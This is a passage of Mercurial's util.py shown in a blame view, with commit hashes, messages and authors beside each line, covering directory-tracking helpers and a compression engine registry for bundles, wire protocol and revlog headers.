  3010
        for base in finddirs(path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3011
            if base in dirs:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3012
                dirs[base] += 1
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3013
                return
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3014
            dirs[base] = 1
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3015
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3016
    def delpath(self, path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3017
        dirs = self._dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3018
        for base in finddirs(path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3019
            if dirs[base] > 1:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3020
                dirs[base] -= 1
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3021
                return
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3022
            del dirs[base]
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3023
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3024
    def __iter__(self):
31439
807387581d89 py3: use iter() instead of iterkeys()
Rishabh Madan <rishabhmadan96@gmail.com>
parents: 31413
diff changeset
  3025
        return iter(self._dirs)
24635
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3026
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3027
    def __contains__(self, d):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3028
        return d in self._dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3029
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3030
if safehasattr(parsers, 'dirs'):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3031
    dirs = parsers.dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3032
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3033
def finddirs(path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3034
    pos = path.rfind('/')
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3035
    while pos != -1:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3036
        yield path[:pos]
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3037
        pos = path.rfind('/', 0, pos)
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3038
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3039
# compression code
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3040
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3041
SERVERROLE = 'server'
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3042
CLIENTROLE = 'client'
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3043
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3044
compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3045
                                               (u'name', u'serverpriority',
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3046
                                                u'clientpriority'))
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3047
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3048
class compressormanager(object):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3049
    """Holds registrations of various compression engines.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3050
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3051
    This class essentially abstracts the differences between compression
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3052
    engines to allow new compression formats to be added easily, possibly from
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3053
    extensions.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3054
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3055
    Compressors are registered against the global instance by calling its
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3056
    ``register()`` method.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3057
    """
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3058
    def __init__(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3059
        self._engines = {}
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3060
        # Bundle spec human name to engine name.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3061
        self._bundlenames = {}
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3062
        # Internal bundle identifier to engine name.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3063
        self._bundletypes = {}
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3064
        # Revlog header to engine name.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3065
        self._revlogheaders = {}
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3066
        # Wire proto identifier to engine name.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3067
        self._wiretypes = {}
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3068
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3069
    def __getitem__(self, key):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3070
        return self._engines[key]
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3071
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3072
    def __contains__(self, key):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3073
        return key in self._engines
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3074
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3075
    def __iter__(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3076
        return iter(self._engines.keys())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3077
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3078
    def register(self, engine):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3079
        """Register a compression engine with the manager.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3080
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3081
        The argument must be a ``compressionengine`` instance.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3082
        """
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3083
        if not isinstance(engine, compressionengine):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3084
            raise ValueError(_('argument must be a compressionengine'))
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3085
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3086
        name = engine.name()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3087
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3088
        if name in self._engines:
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3089
            raise error.Abort(_('compression engine %s already registered') %
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3090
                              name)
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3091
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3092
        bundleinfo = engine.bundletype()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3093
        if bundleinfo:
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3094
            bundlename, bundletype = bundleinfo
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3095
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3096
            if bundlename in self._bundlenames:
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3097
                raise error.Abort(_('bundle name %s already registered') %
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3098
                                  bundlename)
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3099
            if bundletype in self._bundletypes:
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3100
                raise error.Abort(_('bundle type %s already registered by %s') %
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3101
                                  (bundletype, self._bundletypes[bundletype]))
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3102
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3103
            # No external facing name declared.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3104
            if bundlename:
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3105
                self._bundlenames[bundlename] = name
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3106
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3107
            self._bundletypes[bundletype] = name
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3108
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3109
        wiresupport = engine.wireprotosupport()
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3110
        if wiresupport:
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3111
            wiretype = wiresupport.name
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3112
            if wiretype in self._wiretypes:
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3113
                raise error.Abort(_('wire protocol compression %s already '
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3114
                                    'registered by %s') %
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3115
                                  (wiretype, self._wiretypes[wiretype]))
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3116
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3117
            self._wiretypes[wiretype] = name
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3118
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3119
        revlogheader = engine.revlogheader()
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3120
        if revlogheader and revlogheader in self._revlogheaders:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3121
            raise error.Abort(_('revlog header %s already registered by %s') %
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3122
                              (revlogheader, self._revlogheaders[revlogheader]))
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3123
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3124
        if revlogheader:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3125
            self._revlogheaders[revlogheader] = name
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3126
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3127
        self._engines[name] = engine
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3128
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3129
    @property
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3130
    def supportedbundlenames(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3131
        return set(self._bundlenames.keys())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3132
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3133
    @property
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3134
    def supportedbundletypes(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3135
        return set(self._bundletypes.keys())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3136
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3137
    def forbundlename(self, bundlename):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3138
        """Obtain a compression engine registered to a bundle name.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3139
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3140
        Will raise KeyError if the bundle type isn't registered.
30447
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
  3141
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
  3142
        Will abort if the engine is known but not available.
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3143
        """
30447
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
  3144
        engine = self._engines[self._bundlenames[bundlename]]
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
  3145
        if not engine.available():
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
  3146
            raise error.Abort(_('compression engine %s could not be loaded') %
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
  3147
                              engine.name())
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
  3148
        return engine
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3149
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3150
    def forbundletype(self, bundletype):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3151
        """Obtain a compression engine registered to a bundle type.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3152
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3153
        Will raise KeyError if the bundle type isn't registered.
30447
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
  3154
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
  3155
        Will abort if the engine is known but not available.
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3156
        """
30447
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
  3157
        engine = self._engines[self._bundletypes[bundletype]]
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
  3158
        if not engine.available():
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
  3159
            raise error.Abort(_('compression engine %s could not be loaded') %
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
  3160
                              engine.name())
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30446
diff changeset
  3161
        return engine
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3162
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3163
    def supportedwireengines(self, role, onlyavailable=True):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3164
        """Obtain compression engines that support the wire protocol.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3165
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3166
        Returns a list of engines in prioritized order, most desired first.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3167
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3168
        If ``onlyavailable`` is set, filter out engines that can't be
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3169
        loaded.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3170
        """
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3171
        assert role in (SERVERROLE, CLIENTROLE)
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3172
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3173
        attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3174
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3175
        engines = [self._engines[e] for e in self._wiretypes.values()]
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3176
        if onlyavailable:
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3177
            engines = [e for e in engines if e.available()]
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3178
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3179
        def getkey(e):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3180
            # Sort first by priority, highest first. In case of tie, sort
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3181
            # alphabetically. This is arbitrary, but ensures output is
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3182
            # stable.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3183
            w = e.wireprotosupport()
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3184
            return -1 * getattr(w, attr), w.name
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3185
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3186
        return list(sorted(engines, key=getkey))
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3187
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3188
    def forwiretype(self, wiretype):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3189
        engine = self._engines[self._wiretypes[wiretype]]
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3190
        if not engine.available():
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3191
            raise error.Abort(_('compression engine %s could not be loaded') %
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3192
                              engine.name())
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3193
        return engine
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3194
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3195
    def forrevlogheader(self, header):
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3196
        """Obtain a compression engine registered to a revlog header.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3197
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3198
        Will raise KeyError if the revlog header value isn't registered.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3199
        """
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3200
        return self._engines[self._revlogheaders[header]]
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3201
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3202
compengines = compressormanager()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3203
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3204
class compressionengine(object):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3205
    """Base class for compression engines.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3206
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3207
    Compression engines must implement the interface defined by this class.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
  3208
    """
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
